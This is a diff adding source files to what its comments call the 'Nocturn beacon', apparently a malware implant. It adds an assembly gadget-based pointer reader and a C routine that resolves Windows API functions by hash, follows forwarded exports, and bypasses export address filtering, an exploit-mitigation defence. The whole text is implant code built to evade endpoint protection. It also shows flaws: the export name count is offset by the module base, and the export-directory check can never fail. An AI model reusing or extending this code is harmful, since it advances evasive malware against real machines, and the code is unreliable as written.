diff --git a/LdrFunctionEx/GadgetReadPtr.asm b/LdrFunctionEx/GadgetReadPtr.asm new file mode 100644 index 0000000..e70c5e8 --- /dev/null +++ b/LdrFunctionEx/GadgetReadPtr.asm @@ -0,0 +1,38 @@ +;; +;; Nocturn beacon +;; +[BITS 64] + +;; +;; Export +;; +GLOBAL ReadPtr + +;; +;; shellcode functions +;; +[SECTION .text$B] + + ;; + ;; reads/deref memory using specified gadget + ;; + ;; ReadPtr( target[rcx], gadget[rdx] ) + ;; + ;; NOTE: + ;; if gadget is equal NULL then it is + ;; going to read the specified target + ;; normally (in the current function) + ReadPtr: + test rdx, rdx ;; check if gadget[rdx] == NULL + jz norm ;; if gadget[rdx] is NULL then read it normally + + ;; read using the specified gadget + read: + mov rax, rcx ;; specify what we wanna read. + jmp rdx ;; jump to memory/pointer read gadget + ret ;; we finished what we wanted to read + + norm: + mov rax, QWORD [rcx] ;; read specified pointer value into rax + ret ;; we finished what we wanted to read + diff --git a/LdrFunctionEx/LdrFunctionEx.c b/LdrFunctionEx/LdrFunctionEx.c new file mode 100644 index 0000000..c3d3554 --- /dev/null +++ b/LdrFunctionEx/LdrFunctionEx.c @@ -0,0 +1,114 @@ + +/* lmfao (?) */ +#define LDR_EXPDIR_VIRTADDRESS ( 0x88 ) +#define LDR_EXPDIR_SIZE ( 0x8C ) + +/*! + * @brief + * Load function address from module. + * detects and resolves forwarded functions. + * bypasses EAF (export address filtering) + * + * @param Gadget + * read arbitrary ptr gadget + * + * @param Module + * module to resolve function from + * + * @param Hash + * function hash to resolve + * + * @return + * returns the function pointer + * if found. + */ +FUNC PVOID LdrFunctionEx( + _In_ PVOID Gadget, + _In_ PVOID Module, + _In_ ULONG Hash +) { + PVOID NtHeader = { 0 }; + PIMAGE_EXPORT_DIRECTORY ExpDir = { 0 }; + DWORD ExpDirSize = { 0 }; + PDWORD AddrNames = { 0 }; + PDWORD AddrFuncs = { 0 }; + PWORD AddrOrdns = { 0 }; + DWORD NameCount = { 0 }; + PCHAR FuncName = { 0 }; + PVOID FuncAddr = { 0 }; + DWORD ForwOffs = { 0 }; + DWORD ForwSize = { 0 }; + CHAR ForwName[ MAX_PATH ] = { 0 }; + PVOID ForwData[ 2 ] = { 0 }; // 0 = Module, 1 = Function + + /* check args */ + if ( ! Gadget || ! Module || ! Hash ) { + return NULL; + } + + RtlSecureZeroMemory( ForwName, sizeof( ForwName ) ); + + /* parse Nt header */ + NtHeader = C_PTR( U_PTR( Module ) + ( ( LONG ) ReadPtr( U_PTR( Module ) + FIELD_OFFSET( IMAGE_DOS_HEADER, e_lfanew ), Gadget ) ) ); + ExpDir = C_PTR( U_PTR( Module ) + ( ( DWORD ) ReadPtr( U_PTR( NtHeader ) + LDR_EXPDIR_VIRTADDRESS, Gadget ) ) ); + ExpDirSize = U_PTR( ( ( DWORD ) ReadPtr( U_PTR( NtHeader ) + LDR_EXPDIR_SIZE, Gadget ) ) ); + + /* does it contain an export directory ? */ + if ( ExpDir ) + { + /* get export arrays */ + AddrNames = C_PTR( U_PTR( Module ) + ( ( DWORD ) ReadPtr( U_PTR( ExpDir ) + FIELD_OFFSET( IMAGE_EXPORT_DIRECTORY, AddressOfNames ), Gadget ) ) ); + AddrFuncs = C_PTR( U_PTR( Module ) + ( ( DWORD ) ReadPtr( U_PTR( ExpDir ) + FIELD_OFFSET( IMAGE_EXPORT_DIRECTORY, AddressOfFunctions ), Gadget ) ) ); + AddrOrdns = C_PTR( U_PTR( Module ) + ( ( DWORD ) ReadPtr( U_PTR( ExpDir ) + FIELD_OFFSET( IMAGE_EXPORT_DIRECTORY, AddressOfNameOrdinals ), Gadget ) ) ); + NameCount = U_PTR( U_PTR( Module ) + ( ( DWORD ) ReadPtr( U_PTR( ExpDir ) + FIELD_OFFSET( IMAGE_EXPORT_DIRECTORY, NumberOfNames ), Gadget ) ) ); + + /* iterate over exported function array */ + for ( DWORD i = 0; i < NameCount; i++ ) + { + FuncName = C_PTR( U_PTR( Module ) + AddrNames[ i ] ); + + /* hash function name and compare it to the one we specified */ + if ( HashString( FuncName, 0 ) == Hash ) + { + FuncAddr = C_PTR( Module + AddrFuncs[ AddrOrdns[ i ] ] ); + + /* check if it's a forwarded function. + * NOTE: requires agent instance to be initialized */ + if ( ( U_PTR( FuncAddr ) >= U_PTR( ExpDir ) ) && + ( U_PTR( FuncAddr ) < U_PTR( ExpDir ) + ExpDirSize ) + ) { + /* get size of the forwarded function string */ + ForwSize = StringLengthA( FuncAddr ); + + /* backup string */ + MemCopy( ForwName, FuncAddr, ForwSize ); + + /* find the '.' in the 'module.function' forwarded function string */ + for ( ForwOffs = 0; ForwOffs < ForwSize; ForwOffs++ ) { + if ( ForwName[ ForwOffs ] == '.' ) { + break; + } + } + + /* split the forwarded function string into two strings */ + ForwName[ ForwOffs ] = 0; + + /* save module & function string */ + ForwData[ 0 ] = ForwName; + ForwData[ 1 ] = ForwName + ForwOffs + 1; + + /* call this function again to resolve the actual address */ + FuncAddr = LdrFunctionEx( Gadget, LdrModuleLoad( ForwData[ 0 ] ), HashString( ForwData[ 1 ], 0 ) ); + + /* clear string from stack */ + RtlSecureZeroMemory( ForwName, sizeof( ForwName ) ); + } + + break; + } + } + } + + /* return found function address */ + return FuncAddr; +}